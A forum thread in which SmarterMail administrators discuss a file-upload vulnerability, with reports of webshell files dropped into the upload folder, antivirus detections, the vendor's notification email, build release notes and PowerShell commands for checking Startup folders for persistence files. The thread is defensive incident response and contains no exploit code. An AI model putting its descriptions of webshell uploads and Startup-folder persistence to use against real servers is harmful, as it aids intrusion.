I would like to know if anyone can provide specific folders where you saw the hacked files so I can focus on them and work my way out?  I did see the powershell script in this post , but at this stage I see bit defender is working so I will manually review and scan as I go.
R
Reto Replied
1/10/2026 at 1:42 AM
I see the same with virus total and the mailservice.dll, even the defender removed the file after I copied it to my desktop to upload for testing. 
Jade B Replied
1/10/2026 at 3:12 AM
Seeing the same report of that mailservice.dll file being flagged as suspicious but it could be a false positive. 

Probably best to create a new thread about this in fears that ST staff may not see this given that this thread is now quite long
M
Matt B Replied
1/10/2026 at 5:03 AM
I have just seen this and upgraded today, using the free version on 1 domain, Server 2019, uploaded file was picked by ESET server security or I wouldn't have even known: Never seen any notification in smarter mail itself or on email that needed to upgrade. Using build 8979 from August 2024 before today. 

Also have to access this thread with a vpn, because ESET is flagging ASP/Webshell.PS trojan on it.

09/01/2026 22:13:12;Real-time file system protection;file;C:\Program Files (x86)\SmarterTools\SmarterMail\Service\App_Data\upload\@_fakeID_1;ASP/Webshell.AC trojan;cleaned by deleting;

Pretty scary vulnerability! 
M
Mark Johnson Replied
1/10/2026 at 4:36 PM
what do we know about these "@_...." files, looks like they are empty?

can someone paste the content of the latest email from SM pls, I didnt receive any emails ..
R
Reto Replied
1/11/2026 at 3:40 AM
Some are empty, some have some asp.net code in it to act as a remote shell.

The E-Mail from ST sent last Friday:

Valued Customers,
We wanted to reach out to all customers regarding a vulnerability that was found in SmarterMail and provide a timeline of events.
  • On October 2nd, we were notified that a vulnerability was found in a specific version of SmarterMail.
  • On October 9th, we released Build 9413, which addressed the issue and has a release note for a “Critical Security Fix”. This is how we have notified customers of critical issues in the past.
  • On December 29th, a CVE (Common Vulnerabilities and Exposures) was released publicly, which was related to the issue that was reported to us on October 2nd and fixed on October 9th.
  •  
  • On January 3rd, we notified all customers who hadn't already upgraded that they should install Build 9413, which contained the fix for the CVE.
This particular email is to notify all customers of the timeline of events and announce Build 9504, released today (Jan 8, 2026), and to outline some changes we will be making in our communications moving forward.
Build 9504 (Jan 8, 2026) further strengthens SmarterMail’s overall security. It builds upon the initial fix and provides administrators with additional features and functionality relating to uploads throughout SmarterMail. We strongly encourage all SmarterMail customers to upgrade to this latest release to ensure they are running the most secure and stable Build available.
As a general practice, security-related fixes are announced through our Release Notes, which are published alongside each public Build that we release. These notes are intentionally high-level and do not include specific technical details, as disclosing such information could increase the risk of exploitation for customers who have not yet upgraded. That said, recent discussion within our Community regarding this CVE has been both constructive and valuable. Based on this feedback, we are refining how we communicate about security matters moving forward. 
For any future CVEs, we will proactively notify all customers directly rather than relying solely on Release Notes. These notifications will continue to avoid sensitive details in order to protect customer installations. We will also provide follow-up communications to keep customers informed of our progress and will issue a final notification once a fix is available for download.
Over our 23-year history, SmarterMail has had very few CVEs. In every case, fixes were thoroughly tested, verified, and released extremely quickly. 
Thank you for your continued trust in SmarterTools. We remain committed to continuously improving both our company and the products we deliver.
Thank you for using SmarterTools products,
The SmarterTools Team
M
Mark Johnson Replied
1/11/2026 at 3:01 PM
so if we are seeing @_ files and we are on build 9483 what does that indicate?
is the file upload process still exploitable? what is going on?
S
SmP Replied
1/11/2026 at 4:39 PM
Mark, if you were already on or past 9413 around that October timeframe, even if @ files were being uploaded, it doesn't appear that they could be easily executed so the risk remains quite allow assuming the above conditions.

The 9483 build didn't remove existing @ files or prevent them from being uploaded to the App_Data\upload\ folder so you still need to remove them and to avoid future @ file uploads, upgrade to the 9504 release to prevent them from being uploaded entirely which does appear to prevent that from taking place.

Hopefully SmarterMail can confirm this as the communication to date has not been clear regarding expectations about each version's fixes.
M
Mark Johnson Replied
1/11/2026 at 5:31 PM
ok got it thanks,
I will continue to monitor uploads and remove the files when they appear, will update to 9504 asap.
Seems to be one file a day at the moment, the last one just had text "test" in it .. uploaded file1.png
Richard Laliberte Replied
1/11/2026 at 6:43 PM
We are actually waiting on clarification from this thread https://portal.smartertools.com/community/a97667/mailservice_dll-being-flagged-as-a-virus.aspx before we take that next step to 9504 unfortunately. Although positive news is that no one has really complained about another OTHER issues with 9504 other than being flagged as a virus lol
M
Mark Johnson Replied
1/11/2026 at 7:17 PM
yes same, dont really want to have to implement a rollback if the service doesnt start .. 
double checking with our team that av exceptions are all in place
William Fock Replied
1/11/2026 at 8:20 PM
Sophos InterceptX Advanced / MDR will block the service from starting. Even when i tried to whitelist the smartermail domains folder and the MRS folder. Anyone have such issues?
Sébastien Riccio Replied
1/11/2026 at 9:14 PM
@William Fock

The DLL being detected as false positive resides in the folder "C:\Program Files (x86)\SmarterTools\SmarterMail\Service".

Whitelisting this folder might help.
Sébastien Riccio System & Network Admin https://swisscenter.com
Stefano Replied
1/12/2026 at 2:05 AM
So I'm not the only one with no extensions files clearly malicious scripts inside the folder
C:\Program Files (x86)\SmarterTools\SmarterMail\Service\App_Data\upload
Are you doing something to mitigate this issue?
Thanks
Gabriele Maoret - SERSIS Replied
1/12/2026 at 3:59 AM
FYI:

I have several SmarterMail servers and have always kept them nearly up to date (sometimes I've waited a while before updating to the latest version to check for problems, but at most a couple of weeks...)

I haven't found any suspicious and/or malicious files on any of my servers by scanning the "C:\Program Files (x86)\SmarterTools\SmarterMail\Service\App_Data\upload\" and "C:\inetpub\" folders with various antivirus programs...

Maybe I'm just lucky...
Gabriele Maoret - Head of SysAdmins and CISO at SERSIS Currently manages 6 SmarterMail installations (1 in the cloud for SERSIS which provides services to a few hundred third-party email domains + 5 on-premise for customers who prefer to have their mail server in-house)
C
Colton Morrison Replied
1/15/2026 at 1:22 PM
Given the indicators reported (batch files being dropped for persistence), I strongly recommend immediately checking the Windows Startup folder all your SmarterMail servers for unexpected .bat files. The "Startup" directory is a high-risk auto-execution point on reboot!

Specifically review these: 

  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

  • C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Any unfamiliar .bat, .cmd, or shortcut files should be treated as potential persistence mechanisms and should be quarantined and investigated before removal. This is a common technique used to regain control on reboot, potentially executing code to reside in memory and undetectable by file-level antivirus. 

# 1. System-wide Startup folder (all users)

Get-ChildItem 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup' -Recurse
# 2. Check each user’s Startup folder, if applicable
Get-ChildItem 'C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' -Recurse
J
Jack. Replied
1/15/2026 at 8:02 PM
Build 9511 (Jan 15, 2026)
IMPORTANT: Critical security fixes.
Changed: "Block files without an extension" on Extension Blacklist for Uploads now includes email attachments.
Changed: About/checkup page now restricted to authorized IPs.
Changed: Update the "Someone muted you." toast in Online Meetings.
Removed: [API] System Admin -> CreatePrimarySystemAdmin.
Removed: [API] ValidateRemoteInstances as an API endpoint.
Fixed: [HA] Error proxying secure TCP sessions to the nodes.
Fixed: [HA] Unable to export whitelists from the security tab.
Fixed: Clicking on a task from the Calendar view opens a new task window instead of the task details.
Fixed: Creating a scheduled meeting that schedules an Online Meeting shows the Online Meeting start date with the UTC offset.
Fixed: It's possible to delete File Storage root folder which breaks File Storage.
Fixed: MailService.dll is being flagged as a false positive with VirusTotal.
Fixed: The REST API isn't setting a catch-all value when retrieving domain details for gateways.
Fixed: When a domain administrator changes a user's password, the administrator's 2FA application passwords are reset instead of the user's.
Gabriele Maoret - SERSIS Replied
1/16/2026 at 4:00 AM

I checked everything you suggested on my servers and, fortunately, I didn't find anything (absolutely nothing, no files...)

Thanks for the suggestion anyway.
Gabriele Maoret - Head of SysAdmins and CISO at SERSIS Currently manages 6 SmarterMail installations (1 in the cloud for SERSIS which provides services to a few hundred third-party email domains + 5 on-premise for customers who prefer to have their mail server in-house)
J
Jessie Haggerty Replied
Yesterday at 6:31 PM
We just upgraded all our smartermail servers to 9504, today they were all compromised.  We had to restore and then upgrade to 9511.  we have not seen malicious activity yet since upgrading to 9511 and implementing the hardening guidelines.
B
Bill T Replied
Yesterday at 6:51 PM
Jessie, can you give more details about the compromise? Did bad actors get control of the servers? We had 9504 running for a while before we upgraded to 9511, haven’t seen anything but I’m wondering if maybe I’m not looking in the right place.
Back to Community Threads

Reply to Thread

Enter the verification text
Related Knowledge Base Articles
Migrating SmarterMail to LinuxSmarterMail > Server Configuration and Management
SmarterMail for Linux – SSL/TLS & Certificate ReferenceSmarterMail > Server Configuration and Management
Set up SmarterMail as an IIS Site in IIS 10SmarterMail > Server Configuration and Management
Set up SmarterMail as an IIS Site in IIS 8SmarterMail > Server Configuration and Management
Key SmarterMail MilestonesSmarterMail